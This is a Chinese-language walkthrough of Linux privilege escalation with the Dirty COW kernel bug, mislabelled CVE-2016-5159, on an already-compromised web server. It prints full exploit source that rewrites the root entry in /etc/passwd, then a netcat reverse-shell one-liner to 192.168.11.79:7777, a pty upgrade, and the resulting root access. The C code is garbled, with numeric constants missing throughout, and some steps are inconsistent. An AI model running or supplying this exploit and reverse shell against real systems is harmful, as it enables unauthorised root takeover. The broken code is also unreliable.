CVE-2016-5159 利用脏牛漏洞Linux提权复现

当前路径: /var/www

磁盘列表: /

系统信息: Linux zico 3.2.0-23-generic #36-Ubuntu SMP Tue Apr 10 20:39:51 UTC 2012 x86_64

当前用户: www-data

执行exp c 文件  影响版本低于3.9的linux内核

//
// This exploit uses the pokemon exploit of the dirtycow vulnerability
// as a base and automatically generates a new passwd line.
// The user will be prompted for the new password when the binary is run.
// The original /etc/passwd file is then backed up to /tmp/passwd.bak
// and overwrites the root account with the generated line.
// After running the exploit you should be able to login with the newly
// created user.
//
// To use this exploit modify the user values according to your needs.
//   The default is "firefart".
//
// Original exploit (dirtycow's ptrace_pokedata "pokemon" method):
//   https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c
//
// Compile with:
//   gcc -pthread dirty.c -o dirty -lcrypt
//
// Then run the newly create binary by either doing:
//   "./dirty" or "./dirty my-new-password"
//
// Afterwards, you can either "su firefart" or "ssh firefart@..."
//
// DON'T FORGET TO RESTORE YOUR /etc/passwd AFTER RUNNING THE EXPLOIT!
//   mv /tmp/passwd.bak /etc/passwd
//
// Exploit adopted by Christian "FireFart" Mehlmauer
// https://firefart.at
//

#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <stdio.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <stdlib.h>
#include <unistd.h>
#include <crypt.h>

const char *filename = "/etc/passwd";
const char *backup_filename = "/tmp/passwd.bak";
const char *salt = "firefart";

int f;
void *map;
pid_t pid;
pthread_t pth;
struct stat st;

struct Userinfo {
   char *username;
   char *hash;
   int user_id;
   int group_id;
   char *info;
   char *home_dir;
   char *shell;
};

char *generate_password_hash(char *plaintext_pw) {
  return crypt(plaintext_pw, salt);
}

char *generate_passwd_line(struct Userinfo u) {
  const char *format = "%s:%s:%d:%d:%s:%s:%s\n";
  int size = snprintf(NULL, , format, u.username, u.hash,
    u.user_id, u.group_id, u.info, u.home_dir, u.shell);
  char *ret = malloc(size + );
  sprintf(ret, format, u.username, u.hash, u.user_id,
    u.group_id, u.info, u.home_dir, u.shell);
  return ret;
}

void *madviseThread(void *arg) {
  int i, c = ;
  for(i = ; i < ; i++) {
    c += madvise(map, , MADV_DONTNEED);
  }
  printf("madvise %d\n\n", c);
}

int copy_file(const char *from, const char *to) {
  // check if target file already exists
  if(access(to, F_OK) != -) {
    printf("File %s already exists! Please delete it and run again\n",
      to);
    return -;
  }

  char ch;
  FILE *source, *target;

  source = fopen(from, "r");
  if(source == NULL) {
    return -;
  }
  target = fopen(to, "w");
  if(target == NULL) {
     fclose(source);
     return -;
  }

  while((ch = fgetc(source)) != EOF) {
     fputc(ch, target);
   }

  printf("%s successfully backed up to %s\n",
    from, to);

  fclose(source);
  fclose(target);

  return ;
}

int main(int argc, char *argv[])
{
  // backup file
  int ret = copy_file(filename, backup_filename);
  if (ret != ) {
    exit(ret);
  }

  struct Userinfo user;
  // set values, change as needed
  user.username = "firefart";
  user.user_id = ;
  user.group_id = ;
  user.info = "pwned";
  user.home_dir = "/root";
  user.shell = "/bin/bash";

  char *plaintext_pw;

  if (argc >= ) {
    plaintext_pw = argv[];
    printf("Please enter the new password: %s\n", plaintext_pw);
  } else {
    plaintext_pw = getpass("Please enter the new password: ");
  }

  user.hash = generate_password_hash(plaintext_pw);
  char *complete_passwd_line = generate_passwd_line(user);
  printf("Complete line:\n%s\n", complete_passwd_line);

  f = open(filename, O_RDONLY);
  fstat(f, &st);
  map = mmap(NULL,
             st.st_size + sizeof(long),
             PROT_READ,
             MAP_PRIVATE,
             f,
             );
  printf("mmap: %lx\n",(unsigned long)map);
  pid = fork();
  if(pid) {
    waitpid(pid, NULL, );
    int u, i, o, c = ;
    int l=strlen(complete_passwd_line);
    for(i = ; i < /l; i++) {
      for(o = ; o < l; o++) {
        for(u = ; u < ; u++) {
          c += ptrace(PTRACE_POKETEXT,
                      pid,
                      map + o,
                      *((long*)(complete_passwd_line + o)));
        }
      }
    }
    printf("ptrace %d\n",c);
  }
  else {
    pthread_create(&pth,
                   NULL,
                   madviseThread,
                   NULL);
    ptrace(PTRACE_TRACEME);
    kill(getpid(), SIGSTOP);
    pthread_join(pth,NULL);
  }

  printf("Done! Check %s to see if the new user was created.\n", filename);
  printf("You can log in with the username '%s' and the password '%s'.\n\n",
    user.username, plaintext_pw);
    printf("\nDON'T FORGET TO RESTORE! $ mv %s %s\n",
    backup_filename, filename);
  return ;
}

把此文件另存为上传后缀 .c

执行gcc 编译

gcc  -pthread 1.c -o dirty(编译后文件) -lcrypt

提示

File /tmp/passwd.bak already exists! Please delete it and run again

在去执行

(www-data:/var/tmp) $ rm /tmp/passwd.bak

这里我们反弹一个shell

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.11.79 7777 >/tmp/f

windows 那边利用 nc 接受反弹的shell

python -c "import pty;pty.spawn('/bin/bash')"

如何反弹成功

执行 ./1.c  123（root密码是123）

这里可以重新尝试弹反新的shell 在去连接

查看/etc/passwd

(www-data:/var/tmp) $ cat /etc/passwd

firefart:fiRbwOlRgkx7g:0:0:pwned:/root:/bin/bash

/sbin:/bin/sh

bin:x:2:2:bin:/bin:/bin/sh

sys:x:3:3:sys:/dev:/bin/sh

sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games:/usr/games:/bin/sh

man:x:6:12:man:/var/cache/man:/bin/sh

lp:x:7:7:lp:/var/spool/lpd:/bin/sh

mail:x:8:8:mail:/var/mail:/bin/sh

news:x:9:9:news:/var/spool/news:/bin/sh

uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh

proxy:x:13:13:proxy:/bin:/bin/sh

www-data:x:33:33:www-data:/var/www:

发现 firefart:fiRbwOlRgkx7g:0:0:pwned:/root:/bin/bash   root 用户已经改变

在输入 su 切换用户 输入密码

已经成功提权 root  这里在输入su 时候可能提示 su: Authentication failure 多尝试几次